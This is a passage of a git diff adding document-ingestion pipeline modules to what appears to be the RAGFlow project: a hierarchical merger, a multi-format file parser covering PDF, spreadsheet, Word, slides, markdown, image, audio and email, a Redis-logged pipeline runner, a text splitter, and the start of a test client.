arr] + sections, section_images = [], [] + for o in arr or []: + sections.append((o.get("text", ""), o.get("position_tag", ""))) + section_images.append(o.get("img_id")) + + matches = [] + for txt in lines: + good = False + for lvl, regs in enumerate(self._param.levels): + for reg in regs: + if re.search(reg, txt): + matches.append(lvl) + good = True + break + if good: + break + if not good: + matches.append(len(self._param.levels)) + assert len(matches) == len(lines), f"{len(matches)} vs. {len(lines)}" + + root = { + "level": -1, + "index": -1, + "texts": [], + "children": [] + } + for i, m in enumerate(matches): + if m == 0: + root["children"].append({ + "level": m, + "index": i, + "texts": [], + "children": [] + }) + elif m == len(self._param.levels): + def dfs(b): + if not b["children"]: + b["texts"].append(i) + else: + dfs(b["children"][-1]) + dfs(root) + else: + def dfs(b): + nonlocal m, i + if not b["children"] or m == b["level"] + 1: + b["children"].append({ + "level": m, + "index": i, + "texts": [], + "children": [] + }) + return + dfs(b["children"][-1]) + + dfs(root) + + all_pathes = [] + def dfs(n, path, depth): + nonlocal all_pathes + if not n["children"] and path: + all_pathes.append(path) + + for nn in n["children"]: + if depth < self._param.hierarchy: + _path = deepcopy(path) + else: + _path = path + _path.extend([nn["index"], *nn["texts"]]) + dfs(nn, _path, depth+1) + + if depth == self._param.hierarchy: + all_pathes.append(_path) + + for i in range(len(lines)): + print(i, lines[i]) + dfs(root, [], 0) + + if root["texts"]: + all_pathes.insert(0, root["texts"]) + if from_upstream.output_format in ["markdown", "text", "html"]: + cks = [] + for path in all_pathes: + txt = "" + for i in path: + txt += lines[i] + "\n" + cks.append(txt) + + self.set_output("chunks", [{"text": c} for c in cks if c]) + else: + cks = [] + images = [] + for path in all_pathes: + txt = "" + img = None + for i in path: + txt += lines[i] + "\n" + concat_img(img, id2image(section_images[i], partial(STORAGE_IMPL.get))) + cks.append(txt) + images.append(img) + + cks = [ + { + "text": RAGFlowPdfParser.remove_tag(c), + "image": img, + "positions": RAGFlowPdfParser.extract_positions(c), + } + for c, img in zip(cks, images) + ] + async with trio.open_nursery() as nursery: + for d in cks: + nursery.start_soon(image2id, d, partial(STORAGE_IMPL.put), get_uuid()) + self.set_output("chunks", cks) + + self.callback(1, "Done.") diff --git a/rag/flow/hierarchical_merger/schema.py b/rag/flow/hierarchical_merger/schema.py new file mode 100644 index 0000000..a4d99f9 --- /dev/null +++ b/rag/flow/hierarchical_merger/schema.py @@ -0,0 +1,37 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +from typing import Any, Literal + +from pydantic import BaseModel, ConfigDict, Field + + +class HierarchicalMergerFromUpstream(BaseModel): + created_time: float | None = Field(default=None, alias="_created_time") + elapsed_time: float | None = Field(default=None, alias="_elapsed_time") + + name: str + file: dict | None = Field(default=None) + chunks: list[dict[str, Any]] | None = Field(default=None) + + output_format: Literal["json", "chunks"] | None = Field(default=None) + json_result: list[dict[str, Any]] | None = Field(default=None, alias="json") + markdown_result: str | None = Field(default=None, alias="markdown") + text_result: str | None = Field(default=None, alias="text") + html_result: str | None = Field(default=None, alias="html") + + model_config = ConfigDict(populate_by_name=True, extra="forbid") + + # def to_dict(self, *, exclude_none: bool = True) -> dict: + # return self.model_dump(by_alias=True, exclude_none=exclude_none) diff --git a/rag/flow/parser/__init__.py b/rag/flow/parser/__init__.py new file mode 100644 index 0000000..e6ddad7 --- /dev/null +++ b/rag/flow/parser/__init__.py @@ -0,0 +1,14 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. diff --git a/rag/flow/parser/parser.py b/rag/flow/parser/parser.py new file mode 100644 index 0000000..f437885 --- /dev/null +++ b/rag/flow/parser/parser.py @@ -0,0 +1,514 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +import io +import json +import os +import random +from functools import partial + +import trio +import numpy as np +from PIL import Image + +from api.db import LLMType +from api.db.services.file2document_service import File2DocumentService +from api.db.services.file_service import FileService +from api.db.services.llm_service import LLMBundle +from api.utils import get_uuid +from api.utils.base64_image import image2id +from deepdoc.parser import ExcelParser +from deepdoc.parser.pdf_parser import PlainParser, RAGFlowPdfParser, VisionParser +from rag.app.naive import Docx +from rag.flow.base import ProcessBase, ProcessParamBase +from rag.flow.parser.schema import ParserFromUpstream +from rag.llm.cv_model import Base as VLM +from rag.utils.storage_factory import STORAGE_IMPL + + +class ParserParam(ProcessParamBase): + def __init__(self): + super().__init__() + self.allowed_output_format = { + "pdf": [ + "json", + "markdown", + ], + "spreadsheet": [ + "json", + "markdown", + "html", + ], + "word": [ + "json", + ], + "slides": [ + "json", + ], + "image": [ + "text" + ], + "email": ["text", "json"], + "text&markdown": [ + "text", + "json" + ], + "audio": [ + "json" + ], + "video": [], + } + + self.setups = { + "pdf": { + "parse_method": "deepdoc", # deepdoc/plain_text/vlm + "lang": "Chinese", + "suffix": [ + "pdf", + ], + "output_format": "json", + }, + "spreadsheet": { + "output_format": "html", + "suffix": [ + "xls", + "xlsx", + "csv", + ], + }, + "word": { + "suffix": [ + "doc", + "docx", + ], + "output_format": "json", + }, + "text&markdown": { + "suffix": ["md", "markdown", "mdx", "txt"], + "output_format": "json", + }, + "slides": { + "suffix": [ + "pptx", + ], + "output_format": "json", + }, + "image": { + "parse_method": "ocr", + "llm_id": "", + "lang": "Chinese", + "system_prompt": "", + "suffix": ["jpg", "jpeg", "png", "gif"], + "output_format": "text", + }, + "email": { + "suffix": [ + "eml", "msg" + ], + "fields": ["from", "to", "cc", "bcc", "date", "subject", "body", "attachments", "metadata"], + "output_format": "json", + }, + "audio": { + "suffix":[ + "da", + "wave", + "wav", + "mp3", + "aac", + "flac", + "ogg", + "aiff", + "au", + "midi", + "wma", + "realaudio", + "vqf", + "oggvorbis", + "ape" + ], + "output_format": "json", + }, + "video": {}, + } + + def check(self): + pdf_config = self.setups.get("pdf", {}) + if pdf_config: + pdf_parse_method = pdf_config.get("parse_method", "") + self.check_empty(pdf_parse_method, "Parse method abnormal.") + + if pdf_parse_method.lower() not in ["deepdoc", "plain_text"]: + self.check_empty(pdf_config.get("lang", ""), "PDF VLM language") + + pdf_output_format = pdf_config.get("output_format", "") + self.check_valid_value(pdf_output_format, "PDF output format abnormal.", self.allowed_output_format["pdf"]) + + spreadsheet_config = self.setups.get("spreadsheet", "") + if spreadsheet_config: + spreadsheet_output_format = spreadsheet_config.get("output_format", "") + self.check_valid_value(spreadsheet_output_format, "Spreadsheet output format abnormal.", self.allowed_output_format["spreadsheet"]) + + doc_config = self.setups.get("word", "") + if doc_config: + doc_output_format = doc_config.get("output_format", "") + self.check_valid_value(doc_output_format, "Word processer document output format abnormal.", self.allowed_output_format["word"]) + + slides_config = self.setups.get("slides", "") + if slides_config: + slides_output_format = slides_config.get("output_format", "") + self.check_valid_value(slides_output_format, "Slides output format abnormal.", self.allowed_output_format["slides"]) + + image_config = self.setups.get("image", "") + if image_config: + image_parse_method = image_config.get("parse_method", "") + if image_parse_method not in ["ocr"]: + self.check_empty(image_config.get("lang", ""), "Image VLM language") + + text_config = self.setups.get("text&markdown", "") + if text_config: + text_output_format = text_config.get("output_format", "") + self.check_valid_value(text_output_format, "Text output format abnormal.", self.allowed_output_format["text&markdown"]) + + audio_config = self.setups.get("audio", "") + if audio_config: + self.check_empty(audio_config.get("llm_id"), "Audio VLM") + audio_language = audio_config.get("lang", "") + self.check_empty(audio_language, "Language") + + email_config = self.setups.get("email", "") + if email_config: + email_output_format = email_config.get("output_format", "") + self.check_valid_value(email_output_format, "Email output format abnormal.", self.allowed_output_format["email"]) + + def get_input_form(self) -> dict[str, dict]: + return {} + + +class Parser(ProcessBase): + component_name = "Parser" + + def _pdf(self, name, blob): + self.callback(random.randint(1, 5) / 100.0, "Start to work on a PDF.") + conf = self._param.setups["pdf"] + self.set_output("output_format", conf["output_format"]) + + if conf.get("parse_method").lower() == "deepdoc": + bboxes = RAGFlowPdfParser().parse_into_bboxes(blob, callback=self.callback) + elif conf.get("parse_method").lower() == "plain_text": + lines, _ = PlainParser()(blob) + bboxes = [{"text": t} for t, _ in lines] + else: + vision_model = LLMBundle(self._canvas._tenant_id, LLMType.IMAGE2TEXT, llm_name=conf.get("parse_method"), lang=self._param.setups["pdf"].get("lang")) + lines, _ = VisionParser(vision_model=vision_model)(blob, callback=self.callback) + bboxes = [] + for t, poss in lines: + pn, x0, x1, top, bott = poss.split(" ") + bboxes.append({"page_number": int(pn), "x0": float(x0), "x1": float(x1), "top": float(top), "bottom": float(bott), "text": t}) + + if conf.get("output_format") == "json": + self.set_output("json", bboxes) + if conf.get("output_format") == "markdown": + mkdn = "" + for b in bboxes: + if b.get("layout_type", "") == "title": + mkdn += "\n## " + if b.get("layout_type", "") == "figure": + mkdn += "\n![Image]({})".format(VLM.image2base64(b["image"])) + continue + mkdn += b.get("text", "") + "\n" + self.set_output("markdown", mkdn) + + def _spreadsheet(self, name, blob): + self.callback(random.randint(1, 5) / 100.0, "Start to work on a Spreadsheet.") + conf = self._param.setups["spreadsheet"] + self.set_output("output_format", conf["output_format"]) + spreadsheet_parser = ExcelParser() + if conf.get("output_format") == "html": + htmls = spreadsheet_parser.html(blob, 1000000000) + self.set_output("html", htmls[0]) + elif conf.get("output_format") == "json": + self.set_output("json", [{"text": txt} for txt in spreadsheet_parser(blob) if txt]) + elif conf.get("output_format") == "markdown": + self.set_output("markdown", spreadsheet_parser.markdown(blob)) + + def _word(self, name, blob): + self.callback(random.randint(1, 5) / 100.0, "Start to work on a Word Processor Document") + conf = self._param.setups["word"] + self.set_output("output_format", conf["output_format"]) + docx_parser = Docx() + sections, tbls = docx_parser(name, binary=blob) + sections = [{"text": section[0], "image": section[1]} for section in sections if section] + sections.extend([{"text": tb, "image": None} for ((_,tb), _) in tbls]) + # json + assert conf.get("output_format") == "json", "have to be json for doc" + if conf.get("output_format") == "json": + self.set_output("json", sections) + + def _slides(self, name, blob): + from deepdoc.parser.ppt_parser import RAGFlowPptParser as ppt_parser + + self.callback(random.randint(1, 5) / 100.0, "Start to work on a PowerPoint Document") + + conf = self._param.setups["slides"] + self.set_output("output_format", conf["output_format"]) + + ppt_parser = ppt_parser() + txts = ppt_parser(blob, 0, 100000, None) + + sections = [{"text": section} for section in txts if section.strip()] + + # json + assert conf.get("output_format") == "json", "have to be json for ppt" + if conf.get("output_format") == "json": + self.set_output("json", sections) + + def _markdown(self, name, blob): + from functools import reduce + + from rag.app.naive import Markdown as naive_markdown_parser + from rag.nlp import concat_img + + self.callback(random.randint(1, 5) / 100.0, "Start to work on a markdown.") + conf = self._param.setups["text&markdown"] + self.set_output("output_format", conf["output_format"]) + + markdown_parser = naive_markdown_parser() + sections, tables = markdown_parser(name, blob, separate_tables=False) + + if conf.get("output_format") == "json": + json_results = [] + + for section_text, _ in sections: + json_result = { + "text": section_text, + } + + images = markdown_parser.get_pictures(section_text) if section_text else None + if images: + # If multiple images found, combine them using concat_img + combined_image = reduce(concat_img, images) if len(images) > 1 else images[0] + json_result["image"] = combined_image + + json_results.append(json_result) + + self.set_output("json", json_results) + else: + self.set_output("text", "\n".join([section_text for section_text, _ in sections])) + + + def _image(self, name, blob): + from deepdoc.vision import OCR + + self.callback(random.randint(1, 5) / 100.0, "Start to work on an image.") + conf = self._param.setups["image"] + self.set_output("output_format", conf["output_format"]) + + img = Image.open(io.BytesIO(blob)).convert("RGB") + + if conf["parse_method"] == "ocr": + # use ocr, recognize chars only + ocr = OCR() + bxs = ocr(np.array(img)) # return boxes and recognize result + txt = "\n".join([t[0] for _, t in bxs if t[0]]) + else: + lang = conf["lang"] + # use VLM to describe the picture + cv_model = LLMBundle(self._canvas.get_tenant_id(), LLMType.IMAGE2TEXT, llm_name=conf["parse_method"], lang=lang) + img_binary = io.BytesIO() + img.save(img_binary, format="JPEG") + img_binary.seek(0) + + system_prompt = conf.get("system_prompt") + if system_prompt: + txt = cv_model.describe_with_prompt(img_binary.read(), system_prompt) + else: + txt = cv_model.describe(img_binary.read()) + + self.set_output("text", txt) + + def _audio(self, name, blob): + import os + import tempfile + + self.callback(random.randint(1, 5) / 100.0, "Start to work on an audio.") + + conf = self._param.setups["audio"] + self.set_output("output_format", conf["output_format"]) + + lang = conf["lang"] + _, ext = os.path.splitext(name) + with tempfile.NamedTemporaryFile(suffix=ext) as tmpf: + tmpf.write(blob) + tmpf.flush() + tmp_path = os.path.abspath(tmpf.name) + + seq2txt_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.SPEECH2TEXT, lang=lang) + txt = seq2txt_mdl.transcription(tmp_path) + + self.set_output("text", txt) + + def _email(self, name, blob): + self.callback(random.randint(1, 5) / 100.0, "Start to work on an email.") + + email_content = {} + conf = self._param.setups["email"] + target_fields = conf["fields"] + + _, ext = os.path.splitext(name) + if ext == ".eml": + # handle eml file + from email import policy + from email.parser import BytesParser + + msg = BytesParser(policy=policy.default).parse(io.BytesIO(blob)) + email_content['metadata'] = {} + # handle header info + for header, value in msg.items(): + # get fields like from, to, cc, bcc, date, subject + if header.lower() in target_fields: + email_content[header.lower()] = value + # get metadata + elif header.lower() not in ["from", "to", "cc", "bcc", "date", "subject"]: + email_content["metadata"][header.lower()] = value + # get body + if "body" in target_fields: + body_text, body_html = [], [] + def _add_content(m, content_type): + if content_type == "text/plain": + body_text.append( + m.get_payload(decode=True).decode(m.get_content_charset()) + ) + elif content_type == "text/html": + body_html.append( + m.get_payload(decode=True).decode(m.get_content_charset()) + ) + elif "multipart" in content_type: + if m.is_multipart(): + for part in m.iter_parts(): + _add_content(part, part.get_content_type()) + + _add_content(msg, msg.get_content_type()) + + email_content["text"] = body_text + email_content["text_html"] = body_html + # get attachment + if "attachments" in target_fields: + attachments = [] + for part in msg.iter_attachments(): + content_disposition = part.get("Content-Disposition") + if content_disposition: + dispositions = content_disposition.strip().split(";") + if dispositions[0].lower() == "attachment": + filename = part.get_filename() + payload = part.get_payload(decode=True) + attachments.append({ + "filename": filename, + "payload": payload, + }) + email_content["attachments"] = attachments + else: + # handle msg file + import extract_msg + print("handle a msg file.") + msg = extract_msg.Message(blob) + # handle header info + basic_content = { + "from": msg.sender, + "to": msg.to, + "cc": msg.cc, + "bcc": msg.bcc, + "date": msg.date, + "subject": msg.subject, + } + email_content.update({k: v for k, v in basic_content.items() if k in target_fields}) + # get metadata + email_content['metadata'] = { + 'message_id': msg.messageId, + 'in_reply_to': msg.inReplyTo, + } + # get body + if "body" in target_fields: + email_content["text"] = msg.body # usually empty. try text_html instead + email_content["text_html"] = msg.htmlBody + # get attachments + if "attachments" in target_fields: + attachments = [] + for t in msg.attachments: + attachments.append({ + "filename": t.name, + "payload": t.data # binary + }) + email_content["attachments"] = attachments + + if conf["output_format"] == "json": + self.set_output("json", [email_content]) + else: + content_txt = '' + for k, v in email_content.items(): + if isinstance(v, str): + # basic info + content_txt += f'{k}:{v}' + "\n" + elif isinstance(v, dict): + # metadata + content_txt += f'{k}:{json.dumps(v)}' + "\n" + elif isinstance(v, list): + # attachments or others + for fb in v: + if isinstance(fb, dict): + # attachments + content_txt += f'{fb["filename"]}:{fb["payload"]}' + "\n" + else: + # str, usually plain text + content_txt += fb + self.set_output("text", content_txt) + + async def _invoke(self, **kwargs): + function_map = { + "pdf": self._pdf, + "text&markdown": self._markdown, + "spreadsheet": self._spreadsheet, + "slides": self._slides, + "word": self._word, + "image": self._image, + "audio": self._audio, + "email": self._email, + } + try: + from_upstream = ParserFromUpstream.model_validate(kwargs) + except Exception as e: + self.set_output("_ERROR", f"Input error: {str(e)}") + return + + name = from_upstream.name + if self._canvas._doc_id: + b, n = File2DocumentService.get_storage_address(doc_id=self._canvas._doc_id) + blob = STORAGE_IMPL.get(b, n) + else: + blob = FileService.get_blob(from_upstream.file["created_by"], from_upstream.file["id"]) + + done = False + for p_type, conf in self._param.setups.items(): + if from_upstream.name.split(".")[-1].lower() not in conf.get("suffix", []): + continue + await trio.to_thread.run_sync(function_map[p_type], name, blob) + done = True + break + + if not done: + raise Exception("No suitable for file extension: `.%s`" % from_upstream.name.split(".")[-1].lower()) + + outs = self.output() + async with trio.open_nursery() as nursery: + for d in outs.get("json", []): + nursery.start_soon(image2id, d, partial(STORAGE_IMPL.put), get_uuid()) diff --git a/rag/flow/parser/schema.py b/rag/flow/parser/schema.py new file mode 100644 index 0000000..f436617 --- /dev/null +++ b/rag/flow/parser/schema.py @@ -0,0 +1,24 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +from pydantic import BaseModel, ConfigDict, Field + + +class ParserFromUpstream(BaseModel): + created_time: float | None = Field(default=None, alias="_created_time") + elapsed_time: float | None = Field(default=None, alias="_elapsed_time") + + name: str + file: dict | None = Field(default=None) + model_config = ConfigDict(populate_by_name=True, extra="forbid") diff --git a/rag/flow/pipeline.py b/rag/flow/pipeline.py new file mode 100644 index 0000000..a1db65b --- /dev/null +++ b/rag/flow/pipeline.py @@ -0,0 +1,174 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import datetime +import json +import logging +import random +from timeit import default_timer as timer +import trio +from agent.canvas import Graph +from api.db.services.document_service import DocumentService +from api.db.services.task_service import has_canceled, TaskService, CANVAS_DEBUG_DOC_ID +from rag.utils.redis_conn import REDIS_CONN + + +class Pipeline(Graph): + def __init__(self, dsl: str|dict, tenant_id=None, doc_id=None, task_id=None, flow_id=None): + if isinstance(dsl, dict): + dsl = json.dumps(dsl, ensure_ascii=False) + super().__init__(dsl, tenant_id, task_id) + if doc_id == CANVAS_DEBUG_DOC_ID: + doc_id = None + self._doc_id = doc_id + self._flow_id = flow_id + self._kb_id = None + if self._doc_id: + self._kb_id = DocumentService.get_knowledgebase_id(doc_id) + if not self._kb_id: + self._doc_id = None + + def callback(self, component_name: str, progress: float | int | None = None, message: str = "") -> None: + from rag.svr.task_executor import TaskCanceledException + log_key = f"{self._flow_id}-{self.task_id}-logs" + timestamp = timer() + if has_canceled(self.task_id): + progress = -1 + message += "[CANCEL]" + try: + bin = REDIS_CONN.get(log_key) + obj = json.loads(bin.encode("utf-8")) + if obj: + if obj[-1]["component_id"] == component_name: + obj[-1]["trace"].append( + { + "progress": progress, + "message": message, + "datetime": datetime.datetime.now().strftime("%H:%M:%S"), + "timestamp": timestamp, + "elapsed_time": timestamp - obj[-1]["trace"][-1]["timestamp"], + } + ) + else: + obj.append( + { + "component_id": component_name, + "trace": [{"progress": progress, "message": message, "datetime": datetime.datetime.now().strftime("%H:%M:%S"), "timestamp": timestamp, "elapsed_time": 0}], + } + ) + else: + obj = [ + { + "component_id": component_name, + "trace": [{"progress": progress, "message": message, "datetime": datetime.datetime.now().strftime("%H:%M:%S"), "timestamp": timestamp, "elapsed_time": 0}], + } + ] + if component_name != "END" and self._doc_id and self.task_id: + percentage = 1.0 / len(self.components.items()) + finished = 0.0 + for o in obj: + for t in o["trace"]: + if t["progress"] < 0: + finished = -1 + break + if finished < 0: + break + finished += o["trace"][-1]["progress"] * percentage + + msg = "" + if len(obj[-1]["trace"]) == 1: + msg += f"\n-------------------------------------\n[{self.get_component_name(o['component_id'])}]:\n" + t = obj[-1]["trace"][-1] + msg += "%s: %s\n" % (t["datetime"], t["message"]) + TaskService.update_progress(self.task_id, {"progress": finished, "progress_msg": msg}) + elif component_name == "END" and not self._doc_id: + obj[-1]["trace"][-1]["dsl"] = json.loads(str(self)) + REDIS_CONN.set_obj(log_key, obj, 60 * 30) + + except Exception as e: + logging.exception(e) + + if has_canceled(self.task_id): + raise TaskCanceledException(message) + + def fetch_logs(self): + log_key = f"{self._flow_id}-{self.task_id}-logs" + try: + bin = REDIS_CONN.get(log_key) + if bin: + return json.loads(bin.encode("utf-8")) + except Exception as e: + logging.exception(e) + return [] + + + async def run(self, **kwargs): + log_key = f"{self._flow_id}-{self.task_id}-logs" + try: + REDIS_CONN.set_obj(log_key, [], 60 * 10) + except Exception as e: + logging.exception(e) + self.error = "" + if not self.path: + self.path.append("File") + cpn_obj = self.get_component_obj(self.path[0]) + await cpn_obj.invoke(**kwargs) + if cpn_obj.error(): + self.error = "[ERROR]" + cpn_obj.error() + self.callback(cpn_obj.component_name, -1, self.error) + + if self._doc_id: + TaskService.update_progress(self.task_id, { + "progress": random.randint(0, 5) / 100.0, + "progress_msg": "Start the pipeline...", + "begin_at": datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")}) + + idx = len(self.path) - 1 + cpn_obj = self.get_component_obj(self.path[idx]) + idx += 1 + self.path.extend(cpn_obj.get_downstream()) + + while idx < len(self.path) and not self.error: + last_cpn = self.get_component_obj(self.path[idx - 1]) + cpn_obj = self.get_component_obj(self.path[idx]) + + async def invoke(): + nonlocal last_cpn, cpn_obj + await cpn_obj.invoke(**last_cpn.output()) + #if inspect.iscoroutinefunction(cpn_obj.invoke): + # await cpn_obj.invoke(**last_cpn.output()) + #else: + # cpn_obj.invoke(**last_cpn.output()) + + async with trio.open_nursery() as nursery: + nursery.start_soon(invoke) + + if cpn_obj.error(): + self.error = "[ERROR]" + cpn_obj.error() + self.callback(cpn_obj._id, -1, self.error) + break + idx += 1 + self.path.extend(cpn_obj.get_downstream()) + + self.callback("END", 1 if not self.error else -1, json.dumps(self.get_component_obj(self.path[-1]).output(), ensure_ascii=False)) + + if not self.error: + return self.get_component_obj(self.path[-1]).output() + + TaskService.update_progress(self.task_id, { + "progress": -1, + "progress_msg": f"[ERROR]: {self.error}"}) + + return {} diff --git a/rag/flow/splitter/__init__.py b/rag/flow/splitter/__init__.py new file mode 100644 index 0000000..b466337 --- /dev/null +++ b/rag/flow/splitter/__init__.py @@ -0,0 +1,15 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + diff --git a/rag/flow/splitter/schema.py b/rag/flow/splitter/schema.py new file mode 100644 index 0000000..9144a4d --- /dev/null +++ b/rag/flow/splitter/schema.py @@ -0,0 +1,38 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +from typing import Any, Literal + +from pydantic import BaseModel, ConfigDict, Field + + +class SplitterFromUpstream(BaseModel): + created_time: float | None = Field(default=None, alias="_created_time") + elapsed_time: float | None = Field(default=None, alias="_elapsed_time") + + name: str + file: dict | None = Field(default=None) + chunks: list[dict[str, Any]] | None = Field(default=None) + + output_format: Literal["json", "markdown", "text", "html"] | None = Field(default=None) + + json_result: list[dict[str, Any]] | None = Field(default=None, alias="json") + markdown_result: str | None = Field(default=None, alias="markdown") + text_result: str | None = Field(default=None, alias="text") + html_result: str | None = Field(default=None, alias="html") + + model_config = ConfigDict(populate_by_name=True, extra="forbid") + + # def to_dict(self, *, exclude_none: bool = True) -> dict: + # return self.model_dump(by_alias=True, exclude_none=exclude_none) diff --git a/rag/flow/splitter/splitter.py b/rag/flow/splitter/splitter.py new file mode 100644 index 0000000..9c6eb7b --- /dev/null +++ b/rag/flow/splitter/splitter.py @@ -0,0 +1,111 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +import random +from functools import partial + +import trio + +from api.utils import get_uuid +from api.utils.base64_image import id2image, image2id +from deepdoc.parser.pdf_parser import RAGFlowPdfParser +from rag.flow.base import ProcessBase, ProcessParamBase +from rag.flow.splitter.schema import SplitterFromUpstream +from rag.nlp import naive_merge, naive_merge_with_images +from rag.utils.storage_factory import STORAGE_IMPL + + +class SplitterParam(ProcessParamBase): + def __init__(self): + super().__init__() + self.chunk_token_size = 512 + self.delimiters = ["\n"] + self.overlapped_percent = 0 + + def check(self): + self.check_empty(self.delimiters, "Delimiters.") + self.check_positive_integer(self.chunk_token_size, "Chunk token size.") + self.check_decimal_float(self.overlapped_percent, "Overlapped percentage: [0, 1)") + + def get_input_form(self) -> dict[str, dict]: + return {} + + +class Splitter(ProcessBase): + component_name = "Splitter" + + async def _invoke(self, **kwargs): + try: + from_upstream = SplitterFromUpstream.model_validate(kwargs) + except Exception as e: + self.set_output("_ERROR", f"Input error: {str(e)}") + return + + deli = "" + for d in self._param.delimiters: + if len(d) > 1: + deli += f"`{d}`" + else: + deli += d + + self.set_output("output_format", "chunks") + self.callback(random.randint(1, 5) / 100.0, "Start to split into chunks.") + if from_upstream.output_format in ["markdown", "text", "html"]: + if from_upstream.output_format == "markdown": + payload = from_upstream.markdown_result + elif from_upstream.output_format == "text": + payload = from_upstream.text_result + else: # == "html" + payload = from_upstream.html_result + + if not payload: + payload = "" + + cks = naive_merge( + payload, + self._param.chunk_token_size, + deli, + self._param.overlapped_percent, + ) + self.set_output("chunks", [{"text": c.strip()} for c in cks if c.strip()]) + + self.callback(1, "Done.") + return + + # json + sections, section_images = [], [] + for o in from_upstream.json_result or []: + sections.append((o.get("text", ""), o.get("position_tag", ""))) + section_images.append(id2image(o.get("img_id"), partial(STORAGE_IMPL.get))) + + chunks, images = naive_merge_with_images( + sections, + section_images, + self._param.chunk_token_size, + deli, + self._param.overlapped_percent, + ) + cks = [ + { + "text": RAGFlowPdfParser.remove_tag(c), + "image": img, + "positions": [[pos[0][-1]+1, *pos[1:]] for pos in RAGFlowPdfParser.extract_positions(c)], + } + for c, img in zip(chunks, images) if c.strip() + ] + async with trio.open_nursery() as nursery: + for d in cks: + nursery.start_soon(image2id, d, partial(STORAGE_IMPL.put), get_uuid()) + self.set_output("chunks", cks) + self.callback(1, "Done.") diff --git a/rag/flow/tests/client.py b/rag/flow/tests/client.py new file mode 100644 index 0000000..375a66d --- /dev/null +++ b/rag/flow/tests/client.py @@ -0,0 +1,61 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import argparse +import json +import os +import time +from concurrent.futures import ThreadPoolExecutor + +import trio + +from api import settings +from rag.flow.pipeline import Pipeline + + +def print_logs(pipeline: Pipeline): + last_logs = "[]" + while True: + time.sleep(5) + logs = pipeline.fetch_logs() + logs_str = json.dumps(logs, ensure_ascii=False) + if logs_str != last_logs: + print(logs_str) + last_logs = logs_str + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + dsl_default_path = os.path.join( + os.path.dirname(os.path.realpath(__file__)), + "dsl_examples", + "general_pdf_all.json", + ) + parser.add_argument("-s", "--dsl", default=dsl_default_path, help="input dsl", action="store", required=False) + parser.add_argument("-d", "--doc_id", default=False, help="Document ID", action="store", required=True) + parser.add_argument("-t", "--tenant_id", default=False, help="Tenant ID", action="store", required=True) + args = parser.parse_args() + + 